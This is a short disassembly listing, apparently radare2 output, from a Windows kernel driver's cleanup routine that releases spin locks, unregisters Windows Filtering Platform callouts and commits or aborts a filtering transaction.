movdqu xmm0, xmmword [r12]
mov ebx, dword [rsi]
and dword [rsi], 0
lea rcx, [rsp + 0x20]
movdqu xmmword [rsp + 0x38], xmm0
call qword [sym.imp.ntoskrnl.exe_KeReleaseInStackQueuedSpinLock]
test ebx, ebx
je 0x1204d
lea rcx, [rsp + 0x38]
call sub.fwpkclnt.sys_FwpsCalloutUnregisterByKey0
inc ebp
add rsi, 4
add r12, 0x10
lea rbx, [rdi + 8]
cmp ebp, 4
jb 0x12010
jmp 0x12087
mov rcx, rsi
call sub.fwpkclnt.sys_FwpmTransactionCommit0
jmp 0x11ffc
call qword [sym.imp.ntoskrnl.exe_KeReleaseInStackQueuedSpinLock]
mov rcx, rsi
call sub.fwpkclnt.sys_FwpmTransactionAbort0
jmp 0x12087
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntoskrnl.exe_KeReleaseInStackQueuedSpinLock]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.00014eb0
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret